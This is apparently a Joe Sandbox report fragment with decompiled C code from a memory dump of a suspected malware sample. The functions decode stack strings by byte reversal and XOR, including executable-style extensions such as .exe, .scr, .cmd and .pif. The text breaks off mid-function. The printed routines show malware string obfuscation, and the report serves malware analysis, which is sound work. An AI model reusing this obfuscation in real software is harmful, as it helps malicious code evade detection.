0x00410eba
0x00410ebb
0x00410ee4

Strings

r, xrefs: 00410E56
d, xrefs: 00410E79
l, xrefs: 00410B49
d, xrefs: 00410E6F
o, xrefs: 00410E6A
m, xrefs: 00410B62
6, xrefs: 00410BED
Ax`B, xrefs: 00410C02, 00410C14
, xrefs: 00410C59
E, xrefs: 00410E42
`, xrefs: 00410AF2
c, xrefs: 00410D03
1, xrefs: 00410DCF
X, xrefs: 00410AEA
6, xrefs: 00410AC2
O, xrefs: 00410960
d, xrefs: 00410B3F
, xrefs: 00410E74
a, xrefs: 00410E7E
%, xrefs: 00410ABA
G, xrefs: 00410E60
s, xrefs: 00410C51
, xrefs: 00410B53
o, xrefs: 00410B7F
y, xrefs: 00410E83
c, xrefs: 00410BB7
B, xrefs: 00410ADA
y, xrefs: 00410D3A
[, xrefs: 00410AA2
L, xrefs: 00410B0A
*, xrefs: 00410D21
m, xrefs: 00410974
r, xrefs: 00410B67
o, xrefs: 00410E51
{O, xrefs: 004109AE
x, xrefs: 00410D79
K, xrefs: 00410B1A
A, xrefs: 00410DD9
r, xrefs: 00410E47
;, xrefs: 00410DE8
<, xrefs: 00410B7A
o, xrefs: 00410C49
p, xrefs: 00410979
R, xrefs: 00410DE3
d, xrefs: 00410B58
r, xrefs: 00410E4C
S, xrefs: 00410D60
H, xrefs: 004108E4
&, xrefs: 00410D6F
o, xrefs: 00410E65
x, xrefs: 00410BA7
N, xrefs: 00410AAA
<, xrefs: 00410D26
l, xrefs: 00410C31
I, xrefs: 004108F3
0, xrefs: 00410C21

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$H$I$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
API String ID: 0-2256030295
Opcode ID: 99348ea88918384c9705cff7f312443365a943ada237ebec93100be58d2928cb
Instruction ID: b8ec4663fe4ef1fc76cd0133acccdf8ec4e3270a8e6fcc24240d28a3cb629612
Opcode Fuzzy Hash: 99348ea88918384c9705cff7f312443365a943ada237ebec93100be58d2928cb
Instruction Fuzzy Hash: 6712D12010D7C18DD362867C549879FFFD11BE7228F586A9DF1E84A3E3C2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 00411800, Relevance: 67.9, Strings: 54, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E00411800(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				signed char _v8;
				signed char _v9;
				signed char _v10;
				signed char _v11;
				signed char _v12;
				signed char _v13;
				signed char _v14;
				signed char _v15;
				signed char _v16;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v32;
				intOrPtr _v36;
				signed int _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				signed char _v60;
				signed char _v61;
				signed char _v62;
				signed char _v63;
				signed char _v64;
				signed int _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				signed int _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				signed int _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				signed char _v124;
				signed char _v125;
				signed char _v126;
				signed char _v127;
				signed char _v128;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				signed int _v140;
				signed int _v141;
				signed int _v142;
				signed int _v143;
				signed int _v144;
				signed int _v145;
				signed int _v146;
				signed int _v147;
				signed char _v148;
				signed char _v149;
				signed char _v150;
				signed char _v151;
				signed char _v152;
				char _v153;
				char _v154;
				char _v155;
				signed int _v156;
				signed char _v157;
				signed char _v158;
				signed char _v159;
				signed char _v160;
				signed char _v161;
				signed char _v162;
				signed char _v163;
				signed char _v164;
				signed int _v165;
				signed int _v166;
				signed int _v167;
				signed int _v168;
				signed int _v169;
				signed int _v170;
				signed int _v171;
				signed int _v172;
				signed int _v176;
				signed int _v177;
				signed int _v178;
				signed int _v179;
				signed int _v180;
				signed int _v184;
				signed int _v185;
				signed int _v186;
				signed int _v187;
				signed int _v188;
				signed char* _v192;
				signed char* _v196;
				char* _v200;
				signed char* _v204;
				char* _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				char* _v220;
				char* _v232;
				signed char* _v236;
				signed char* _v240;
				signed char* _v244;
				intOrPtr _v248;
				signed int* _v252;
				char _v253;
				char _v254;
				char _v255;
				void* _v256;
				signed char* _v260;
				char* _v264;
				char* _v268;
				intOrPtr _t299;
				signed char _t300;
				intOrPtr _t308;
				char _t310;
				char _t315;
				char _t327;
				char _t336;
				signed int _t344;
				intOrPtr* _t346;
				signed int _t349;
				intOrPtr* _t351;
				signed int _t354;
				intOrPtr* _t356;
				signed int _t362;
				char _t363;
				void* _t373;
				void* _t378;
				signed int _t392;
				intOrPtr _t393;
				void* _t394;
				intOrPtr _t396;
				signed int _t398;
				intOrPtr _t399;
				void* _t440;
				intOrPtr _t442;
				void* _t443;
				void* _t444;
				void* _t445;
				void* _t448;
				void* _t449;
				void* _t450;
				void* _t451;
				void* _t452;
				intOrPtr _t453;
				intOrPtr _t457;
				intOrPtr _t458;
				void* _t459;
				void* _t460;
				void* _t461;

				_t461 =  &_v248;
				_t299 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t299;
				_v148 = 0xfb;
				_v147 = 0xb2;
				_v146 = 0x70;
				_v145 = 0x99;
				_v144 = 0xe4;
				_v143 = 0xd9;
				_v142 = 0x5e;
				_v141 = 0x4c;
				_v140 = 0x12;
				_t300 = 0;
				_t448 = 8;
				do {
					_t363 =  *((intOrPtr*)(_t461 + _t300 + 0x70));
					 *((char*)(_t461 + _t300 + 0x70)) =  *((intOrPtr*)(_t461 + _t448 + 0x70));
					_t300 = _t300 + 1;
					 *((char*)(_t461 + _t448 + 0x70)) = _t363;
					_t448 = _t448 - 1;
				} while (_t300 < _t448);
				_v16 = _v148 ^ 0x00000076;
				_v15 = _v147 ^ 0x00000023;
				_v14 = _v146 ^ 0x0000003d;
				_v13 = _v145 ^ 0x000000ac;
				_v12 = _v144 ^ 0x00000089;
				_push(__ebp);
				_v11 = _v143 ^ 0x000000fc;
				_v10 = _v142 ^ 0x0000001e;
				_push(7);
				_v9 = _v141 ^ 0x000000c6;
				_push( &_v24);
				 *0x431c89 = 0x19;
				_v8 = _v140 ^ 0x000000fb;
				_v24 = 0x69;
				_v23 = 0x43;
				_v22 = 0xd2;
				_v21 = 0x23;
				_v20 = 0x7c;
				_v19 = 0xfe;
				_v18 = 0x37;
				_v156 = 0xeb;
				_v155 = 0x99;
				_v154 = 0xfc;
				_v153 = 0x9d;
				_v152 = 0xf9;
				_v151 = 0x94;
				_v150 = 0xf1;
				_t308 = E0040D980( &_v156);
				_push(4);
				_push( &_v256);
				_t442 = _t308;
				_v256 = 0x48;
				_v255 = 0x64;
				_v254 = 0x47;
				_v253 = 0x87;
				_v172 = 0x3b;
				_v171 = 0x5f;
				_v170 = 0x30;
				_v169 = 0x53;
				_t457 = E0040D980( &_v172);
				_v112 = 0x74;
				_v111 = 0x65;
				_v110 = 0x78;
				_v109 = 0x74;
				_v108 = 0;
				_v128 = 0x66;
				_v127 = 0x69;
				_v126 = 0x6c;
				_v125 = 0x65;
				_v124 = 0;
				_v80 = 0x64;
				_v79 = 0x61;
				_v78 = 0x74;
				_v77 = 0x61;
				_v76 = 0;
				_v180 = 0x9f;
				_v179 = 0xdc;
				_v178 = 0x41;
				_v177 = 0xa3;
				_v176 = 0xc1;
				_t373 = 0;
				_t449 = 4;
				do {
					_t310 =  *((intOrPtr*)(_t461 + _t373 + 0x64));
					 *((char*)(_t461 + _t373 + 0x64)) =  *((intOrPtr*)(_t461 + _t449 + 0x64));
					_t373 = _t373 + 1;
					 *((char*)(_t461 + _t449 + 0x64)) = _t310;
					_t449 = _t449 - 1;
				} while (_t373 < _t449);
				_v63 = _v179 ^ 0x000000c6;
				_v64 = _v180 ^ 0x000000b5;
				_v60 = _v176 ^ 0x0000009f;
				_v62 = _v178 ^ 0x00000032;
				_v61 = _v177 ^ 0x000000a8;
				_v172 = 0x7d;
				_v171 = 0x90;
				_v170 = 0x5e;
				_v169 = 0x2c;
				_v168 = 0x83;
				_v167 = 0xe1;
				_v166 = 0xaf;
				_v165 = 0xc9;
				_t378 = 0;
				_push(0);
				_pop(_t362);
				_t450 = 7;
				do {
					_t315 =  *((intOrPtr*)(_t461 + _t378 + 0x6c));
					 *((char*)(_t461 + _t378 + 0x6c)) =  *((intOrPtr*)(_t461 + _t450 + 0x6c));
					_t378 = _t378 + 1;
					 *((char*)(_t461 + _t450 + 0x6c)) = _t315;
					_t450 = _t450 - 1;
				} while (_t378 < _t450);
				_v164 = _v172 ^ 0x000000a4;
				_v163 = _v171 ^ 0x000000ca;
				_v161 = _v169 ^ 0x000000f0;
				_v160 = _v168 ^ 0x0000004d;
				_v162 = _v170 ^ 0x00000092;
				_v158 = _v166 ^ 0x000000f5;
				_v157 = _v165 ^ 0x0000007d;
				_v159 = _v167 ^ 0x00000039;
				_v208 =  &_v112;
				_v204 =  &_v128;
				_v220 =  &_v32;
				_v196 =  &_v64;
				_v192 =  &_v164;
				_push(5);
				_v200 =  &_v80;
				_v184 =  &_v104;
				_push( &_v136);
				 *0x431c89 = 0x19;
				_v48 = 0x62;
				_v47 = 0x6f;
				_v46 = 0x64;
				_v45 = 0x79;
				_v44 = _t362;
				_v104 = 0x64;
				_v103 = 0x6f;
				_v102 = 0x63;
				_v101 = 0x73;
				_v100 = _t362;
				_v216 = _t442;
				_v212 = _t457;
				_v188 =  &_v48;
				_v136 = 0xa3;
				_v135 = 9;
				_v134 = 0xa3;
				_v133 = 2;
				_v132 = 0x65;
				_v180 = 6;
				_v179 = 0x28;
				_v178 = 0x5c;
				_v177 = 0x24;
				_v176 = 0x50;
				_t458 = E0040D980( &_v180);
				_v64 = 0x2e;
				_v63 = 0x6d;
				_v62 = 0x73;
				_v61 = 0x67;
				_v60 = _t362;
				_v188 = 0x2d;
				_v187 = 0xed;
				_v186 = 0xb1;
				_v185 = 0xbc;
				_v184 = 0x8f;
				_t451 = 0;
				_t443 = 4;
				do {
					_t327 =  *((intOrPtr*)(_t461 + _t451 + 0x64));
					 *((char*)(_t461 + _t451 + 0x64)) =  *((intOrPtr*)(_t461 + _t443 + 0x64));
					_t451 = _t451 + 1;
					 *((char*)(_t461 + _t443 + 0x64)) = _t327;
					_t443 = _t443 - 1;
				} while (_t451 < _t443);
				_v128 = _v188 ^ 0x000000a1;
				_v127 = _v187 ^ 0x000000d9;
				_v126 = _v186 ^ 0x000000dd;
				_v125 = _v185 ^ 0x00000080;
				_v124 = _v184 ^ 0x0000002d;
				_v244 =  &_v64;
				_v240 =  &_v128;
				_v160 = 0x2e;
				_v159 = 0x64;
				_v158 = 0x61;
				_v157 = 0x74;
				_v156 = _t362;
				_v104 = 0x2e;
				_v103 = 0x6c;
				_v102 = 0x6f;
				_v101 = 0x67;
				_v100 = _t362;
				_v248 = _t458;
				_v236 =  &_v160;
				_v232 =  &_v104;
				_v80 = 0x2e;
				_v79 = 0x65;
				_v78 = 0x78;
				_v77 = 0x65;
				_v76 = _t362;
				_v96 = 0x2e;
				_v95 = 0x73;
				_v94 = 0x63;
				_v93 = 0x72;
				_v92 = _t362;
				_v188 = 0x19;
				_v187 = 0xe8;
				_v186 = 0xb4;
				_v185 = 0x68;
				_v184 = 0x31;
				_t452 = 0;
				_t444 = 4;
				asm("pushad");
				asm("popad");
				do {
					_t336 =  *((intOrPtr*)(_t461 + _t452 + 0x64));
					 *((char*)(_t461 + _t452 + 0x64)) =  *((intOrPtr*)(_t461 + _t444 + 0x64));
					_t452 = _t452 + 1;
					 *((char*)(_t461 + _t444 + 0x64)) = _t336;
					_t444 = _t444 - 1;
				} while (_t452 < _t444);
				_v152 = _v188 ^ 0x0000001f;
				_v151 = _v187 ^ 0x0000000a;
				_v150 = _v186 ^ 0x000000d5;
				_v149 = _v185 ^ 0x0000009c;
				_v188 = 0x2e;
				_v180 = 0x2e;
				_v148 = _v184 ^ 0x00000019;
				_v268 =  &_v80;
				_v264 =  &_v96;
				 *0x431c89 = 0x19;
				_v187 = 0x63;
				_v186 = 0x6d;
				_v185 = 0x64;
				_v184 = _t362;
				_v179 = 0x70;
				_v178 = 0x69;
				_v177 = 0x66;
				_v176 = _t362;
				_v260 =  &_v152;
				_v256 =  &_v188;
				_v252 =  &_v180;
				_t344 = E0040C1D0( &_v180);
				_t392 = 0xa;
				_t435 = _t344 % _t392;
				_t453 =  *((intOrPtr*)(_t461 + 0x3c + _t344 % _t392 * 4));
				_t346 = _t453;
				_t445 = _t346 + 1;
				do {
					_t393 =  *_t346;
					_t346 = _t346 + 1;
				} while (_t393 != _t362);
				_t446 = _v20;
				_push(_t346 - _t445);
				_push(_t453);
				_push(_v20);
				_pop(_t394);
				E004028A0(_t394);
				_t349 = E0040C1D0(_t435);
				_t437 = _t349 % 5;
				_t454 =  *((intOrPtr*)(_t461 + 0x28 + _t349 % 5 * 4));
				_t351 =  *((intOrPtr*)(_t461 + 0x28 + _t349 % 5 * 4));
				_t459 = _t351 + 1;
				do {
					_t396 =  *_t351;
					_t351 = _t351 + 1;
				} while (_t396 != _t362);
				E0040DAE0(_t446, _t459, _t454, _t351 - _t459);
				_t354 = E0040C1D0(_t437);
				_t398 = 5;
				asm("pushad");
				asm("popad");
				_pop(_t460);
				_t455 =  *((intOrPtr*)(_t461 + 0x10 + _t354 % _t398 * 4));
				_t356 =  *((intOrPtr*)(_t461 + 0x10 + _t354 % _t398 * 4));
				_t440 = _t356 + 1;
				do {
					_t399 =  *_t356;
					_t356 = _t356 + 1;
				} while (_t399 != _t362);
				return E00424873(E0040DAE0(_t446, _t460, _t455, _t356 - _t440), _v36);
			}

0x00411800
0x00411806
0x0041180d
0x00411817
0x0041181c
0x00411821
0x00411826
0x0041182b
0x00411830
0x00411835
0x0041183a
0x0041183f
0x00411844
0x00411848
0x00411850
0x00411854
0x00411858
0x0041185c
0x0041185d
0x00411861
0x00411862
0x00411877
0x00411882
0x00411892
0x004118a0
0x004118ab
0x004118bb
0x004118bc
0x004118ca
0x004118d1
0x004118da
0x004118e4
0x004118e9
0x004118f0
0x004118f7
0x004118ff
0x00411907
0x0041190f
0x00411917
0x0041191f
0x00411927
0x0041192f
0x00411934
0x00411939
0x0041193e
0x00411943
0x00411948
0x0041194d
0x00411952
0x00411957
0x0041195d
0x00411962
0x00411964
0x00411969
0x0041196e
0x00411973
0x00411978
0x0041197d
0x00411982
0x00411987
0x00411991
0x00411993
0x0041199b
0x004119a3
0x004119ab
0x004119b3
0x004119ba
0x004119c2
0x004119ca
0x004119d2
0x004119da
0x004119e1
0x004119e9
0x004119f1
0x004119f9
0x00411a01
0x00411a08
0x00411a0d
0x00411a12
0x00411a17
0x00411a1c
0x00411a21
0x00411a27
0x00411a30
0x00411a34
0x00411a38
0x00411a3c
0x00411a3d
0x00411a41
0x00411a42
0x00411a57
0x00411a62
0x00411a75
0x00411a7c
0x00411a83
0x00411a8a
0x00411a8f
0x00411a94
0x00411a99
0x00411a9e
0x00411aa3
0x00411aa8
0x00411aad
0x00411ab2
0x00411ab4
0x00411ab5
0x00411ab8
0x00411ac0
0x00411ac4
0x00411ac8
0x00411acc
0x00411acd
0x00411ad1
0x00411ad2
0x00411ae7
0x00411aef
0x00411afc
0x00411b07
0x00411b0f
0x00411b1c
0x00411b23
0x00411b27
0x00411b32
0x00411b3d
0x00411b4f
0x00411b53
0x00411b5b
0x00411b6d
0x00411b76
0x00411b7a
0x00411b87
0x00411b8c
0x00411b93
0x00411b9b
0x00411ba3
0x00411bab
0x00411bb3
0x00411bba
0x00411bc2
0x00411bca
0x00411bd2
0x00411bda
0x00411be1
0x00411be5
0x00411be9
0x00411bed
0x00411bf4
0x00411bfc
0x00411c03
0x00411c0b
0x00411c13
0x00411c18
0x00411c1d
0x00411c22
0x00411c27
0x00411c33
0x00411c35
0x00411c3c
0x00411c44
0x00411c4c
0x00411c54
0x00411c5b
0x00411c60
0x00411c65
0x00411c6a
0x00411c6f
0x00411c74
0x00411c78
0x00411c80
0x00411c84
0x00411c88
0x00411c8c
0x00411c8d
0x00411c91
0x00411c92
0x00411ca0
0x00411cb0
0x00411cbb
0x00411ccb
0x00411cd2
0x00411ce7
0x00411ceb
0x00411cfd
0x00411d04
0x00411d0c
0x00411d14
0x00411d1c
0x00411d23
0x00411d2a
0x00411d32
0x00411d3a
0x00411d42
0x00411d49
0x00411d4d
0x00411d51
0x00411d55
0x00411d5c
0x00411d64
0x00411d6c
0x00411d74
0x00411d7b
0x00411d82
0x00411d8a
0x00411d92
0x00411d9a
0x00411da1
0x00411da6
0x00411dab
0x00411db0
0x00411db5
0x00411dba
0x00411dbe
0x00411dbf
0x00411dc0
0x00411dc1
0x00411dc5
0x00411dc9
0x00411dcd
0x00411dce
0x00411dd2
0x00411dd3
0x00411de1
0x00411def
0x00411dfc
0x00411e0a
0x00411e11
0x00411e15
0x00411e29
0x00411e30
0x00411e34
0x00411e47
0x00411e4e
0x00411e53
0x00411e58
0x00411e5d
0x00411e61
0x00411e66
0x00411e6b
0x00411e70
0x00411e74
0x00411e78
0x00411e7c
0x00411e80
0x00411e8b
0x00411e8c
0x00411e8e
0x00411e93
0x00411e94
0x00411e97
0x00411e97
0x00411e99
0x00411e9a
0x00411ea0
0x00411ea7
0x00411ea8
0x00411ea9
0x00411eaa
0x00411eab
0x00411eb0
0x00411ebc
0x00411ebe
0x00411ec2
0x00411ec4
0x00411ec7
0x00411ec7
0x00411ec9
0x00411eca
0x00411ed4
0x00411ed9
0x00411ee2
0x00411ee3
0x00411ee4
0x00411ee7
0x00411ee8
0x00411eec
0x00411eee
0x00411ef1
0x00411ef1
0x00411ef3
0x00411ef4
0x00411f18

Strings

l, xrefs: 004119CA
e, xrefs: 0041199B
g, xrefs: 00411D3A
s, xrefs: 00411C44
L, xrefs: 0041183A
o, xrefs: 00411D32
C, xrefs: 004118FF
b, xrefs: 00411B93
g, xrefs: 00411C4C
r, xrefs: 00411D92
a, xrefs: 004119F9
t, xrefs: 004119F1
i, xrefs: 004118F7
P, xrefs: 00411C27
p, xrefs: 00411821
#, xrefs: 0041190F
d, xrefs: 00411D04
x, xrefs: 004119A3
t, xrefs: 00411D14
d, xrefs: 00411E58
c, xrefs: 00411E4E
f, xrefs: 00411E6B
t, xrefs: 00411993
a, xrefs: 00411D0C
H, xrefs: 00411964
s, xrefs: 00411D82
c, xrefs: 00411D8A
m, xrefs: 00411C3C
e, xrefs: 00411D5C
l, xrefs: 00411D2A
|, xrefs: 00411917
i, xrefs: 004119C2
1, xrefs: 00411DB5
x, xrefs: 00411D64
p, xrefs: 00411E61
e, xrefs: 00411C0B
m, xrefs: 00411E53
}, xrefs: 00411A8A
d, xrefs: 00411BA3
o, xrefs: 00411B9B
y, xrefs: 00411BAB
^, xrefs: 00411835
d, xrefs: 004119E1
i, xrefs: 00411E66
a, xrefs: 004119E9
-, xrefs: 00411C5B
e, xrefs: 004119D2
t, xrefs: 004119AB
7, xrefs: 00411927
G, xrefs: 0041196E
e, xrefs: 00411D6C
f, xrefs: 004119BA
d, xrefs: 00411969
d, xrefs: 00411BBA

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: #$-$1$7$C$G$H$L$P$^$a$a$a$b$c$c$d$d$d$d$d$d$e$e$e$e$e$f$f$g$g$i$i$i$l$l$m$m$o$o$p$p$r$s$s$t$t$t$t$x$x$y$|$}
API String ID: 0-2094285404
Opcode ID: 1f48e89b2a2e12a452d5c1a726c494d1f01d39c7a55c80edd36ca31686e0ed81
Instruction ID: 3dd815a590b5d4156c3181c1db710673015d42d8b1f3a5754ea71ebec57fce3b
Opcode Fuzzy Hash: 1f48e89b2a2e12a452d5c1a726c494d1f01d39c7a55c80edd36ca31686e0ed81
Instruction Fuzzy Hash: 6B22222110D7C18DE3328B38945479BBFD25BE7618F185E9EE1E84B3A2C2B58109CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00410907, Relevance: 67.8, Strings: 54, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00410907(void* __eax, void* __ecx, intOrPtr _a4, char* _a8, intOrPtr _a12, char* _a16, char* _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, signed int _a48, signed int _a49, signed int _a50, signed int _a51, signed int _a52, signed int _a53, char _a54, char _a55, signed int _a56, signed int _a57, char _a58, char _a59, signed int _a60, signed int _a61, signed int _a62, signed int _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a74, char _a75, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a88, char _a96, signed char _a104, signed char _a105, signed char _a106, signed char _a107, signed char _a108, signed char _a112, signed char _a113, signed char _a114, signed char _a115, signed char _a116, signed char _a117, signed char _a120, signed char _a121, signed char _a122, signed char _a123, signed char _a124, signed char _a125, signed char _a126, signed char _a127, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a150, char _a151, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, char _a167) {
				intOrPtr _v0;
				char* _v4;
				char* _v8;
				char* _v12;
				void* _t275;
				void* _t280;
				void* _t287;
				void* _t299;
				void* _t300;
				intOrPtr _t302;
				signed int _t304;
				intOrPtr* _t306;
				void* _t318;
				void* _t323;
				void* _t328;
				char _t337;
				signed int _t343;
				intOrPtr _t344;
				char _t347;
				char _t350;
				char _t357;
				char _t363;
				intOrPtr _t372;
				intOrPtr _t374;
				void* _t376;
				void* _t378;

				_t318 = __ecx;
				_t275 = __eax;
				do {
					_t347 =  *((intOrPtr*)(_t378 + _t275 + 0x30));
					 *((char*)(_t378 + _t275 + 0x30)) =  *((intOrPtr*)(_t378 + _t318 + 0x30));
					_t275 = _t275 + 1;
					 *((char*)(_t378 + _t318 + 0x30)) = _t347;
					_t318 = _t318 - 1;
				} while (_t275 < _t318);
				_a104 = _a48 ^ 0x000000b6;
				_a105 = _a49 ^ 0x0000002c;
				_a107 = _a51 ^ 0x000000e8;
				_a108 = _a52 ^ 0x00000048;
				_a106 = _a50 ^ 0x00000086;
				_a56 = 0xe9;
				_a57 = 0x4f;
				_a58 = 0x7b;
				_a59 = 0x5b;
				_a60 = 0x45;
				_a61 = 0x6d;
				_a62 = 0x70;
				_a63 = 0xcc;
				_t280 = 0;
				_t323 = 7;
				do {
					_t350 =  *((intOrPtr*)(_t378 + _t280 + 0x38));
					 *((char*)(_t378 + _t280 + 0x38)) =  *((intOrPtr*)(_t378 + _t323 + 0x38));
					_t280 = _t280 + 1;
					 *((char*)(_t378 + _t323 + 0x38)) = _t350;
					_t323 = _t323 - 1;
				} while (_t280 < _t323);
				_t37 =  &_a58; // 0x7b
				_a121 = _a57 ^ 0x00000019;
				_a120 = _a56 ^ 0x000000bc;
				_t41 =  &_a59; // 0x5b
				_a122 =  *_t37 ^ 0x0000000e;
				_a124 = _a60 ^ 0x0000002e;
				_a123 =  *_t41 ^ 0x00000031;
				_a125 = _a61 ^ 0x00000009;
				_a127 = _a63 ^ 0x000000e9;
				_a126 = _a62 ^ 0x0000002a;
				_a48 = 0x13;
				_a49 = 0x80;
				_a50 = 0xd4;
				_a51 = 0x84;
				_a52 = 0x46;
				_a53 = 0xa1;
				_t287 = 0;
				_t328 = 5;
				do {
					_t357 =  *((intOrPtr*)(_t378 + _t287 + 0x30));
					 *((char*)(_t378 + _t287 + 0x30)) =  *((intOrPtr*)(_t378 + _t328 + 0x30));
					_t287 = _t287 + 1;
					 *((char*)(_t378 + _t328 + 0x30)) = _t357;
					_t328 = _t328 - 1;
				} while (_t287 < _t328);
				_a114 = _a50 ^ 0x000000e8;
				_a112 = _a48 ^ 0x000000c9;
				_a117 = _a53 ^ 0x00000013;
				_a113 = _a49 ^ 0x00000023;
				_a115 = _a51 ^ 0x000000b8;
				_push(0x15);
				_a137 = 4;
				_a73 = 4;
				_push( &_a128);
				_a116 = _a52 ^ 0x000000ef;
				 *0x431c89 = 0x19;
				_a128 = 0x15;
				_a129 = 0x5b;
				_a130 = 0x4e;
				_a131 = 0xb8;
				_a132 = 0x25;
				_a133 = 0x36;
				_a134 = 0xbd;
				_a135 = 0xf0;
				_a136 = 0x42;
				_a138 = 0x81;
				_a139 = 0x58;
				_a140 = 0x60;
				_a141 = 0xea;
				_a142 = 0xd6;
				_a143 = 0x4c;
				_a144 = 0xeb;
				_a145 = 0x4b;
				_a146 = 0xed;
				_a147 = 0x96;
				_a148 = 0xae;
				_a64 = 0x29;
				_a65 = 0x64;
				_a66 = 5;
				_a67 = 0x6c;
				_a68 = 0;
				_a69 = 0x20;
				_a70 = 0x64;
				_a71 = 1;
				_a72 = 0x6d;
				_a74 = 0x72;
				_a75 = 0x17;
				_a76 = 0x65;
				_a77 = 0x1c;
				_a78 = 0x3c;
				_a79 = 0x6f;
				_a80 = 0x16;
				_a81 = 0x65;
				_a82 = 0x11;
				_a83 = 0x74;
				_a84 = 0x19;
				_push(E0040D980( &_a64));
				_pop(_t374);
				_a144 = 0x78;
				_a145 = 0x8e;
				_a146 = 0x63;
				_a147 = 0xf8;
				_a148 = 0x41;
				_a149 = 0xc4;
				_a150 = 0x77;
				_a151 = 0xec;
				_a152 = 0xc6;
				_a153 = 0x36;
				_a163 = 0xc6;
				_push(0x18);
				_t132 =  &_a144; // 0x41
				_a161 = 0x90;
				_a69 = 0x90;
				_a154 = 0xb7;
				_a155 = 0x30;
				_a156 = 0xb3;
				_a157 = 0x6c;
				_a158 = 0xa5;
				_a159 = 0x11;
				_a160 = 0x6f;
				_a162 = 0x73;
				_a164 = 0x20;
				_a165 = 0xf3;
				_a166 = 0x9b;
				_a167 = 0xbd;
				_a56 = 0xb5;
				_a57 = 0xf8;
				_a58 = 0x99;
				_a59 = 0xf0;
				_a60 = 0x9c;
				_a61 = 0xbc;
				_a62 = 0xe8;
				_a63 = 0x9a;
				_a64 = 0xfb;
				_a65 = 0x95;
				_a66 = 0xe6;
				_a67 = 0x87;
				_a68 = 0xe4;
				_a70 = 0xf9;
				_a71 = 0x96;
				_a72 = 0xf8;
				_a73 = 0xd8;
				_a74 = 0x9e;
				_a75 = 0xff;
				_a76 = 0x96;
				_a77 = 0xfa;
				_a78 = 0x9f;
				_a79 = 0xfb;
				_push(E0040D980( &_a56));
				_pop(_t372);
				_t337 = 0xd;
				_a61 = 0x35;
				_a72 = 0x35;
				_a48 = 0x2b;
				_a49 = 0x63;
				_a50 = 0x54;
				_a51 = 0xbc;
				_a52 = 0x6d;
				_a53 = 0x21;
				_a54 = 0xf4;
				_a55 = 0x2a;
				_a56 = 0x3c;
				_a57 = 0xd7;
				_a58 = 0x97;
				_a59 = 0xbf;
				_a60 = 0x79;
				_a73 = _t337;
				_a74 = 0xcd;
				_a75 = 0xf8;
				_a76 = 0xa7;
				_a77 = 0x59;
				_a78 = 0x78;
				_a79 = 0xd4;
				_a80 = 0x53;
				_a81 = 8;
				_a82 = 0xca;
				_a83 = 0x26;
				_a84 = 6;
				_a85 = 0x78;
				_t299 = 0;
				do {
					_t363 =  *((intOrPtr*)(_t378 + _t299 + 0x58));
					 *((char*)(_t378 + _t299 + 0x58)) =  *((intOrPtr*)(_t378 + _t337 + 0x58));
					_t299 = _t299 + 1;
					 *((char*)(_t378 + _t337 + 0x58)) = _t363;
					_t337 = _t337 - 1;
				} while (_t299 < _t337);
				_t300 = 0;
				 *0x431c89 = 0x19;
				do {
					 *(_t378 + _t300 + 0x40) =  *(_t378 + _t300 + 0x40) ^  *(_t378 + _t300 + 0x58);
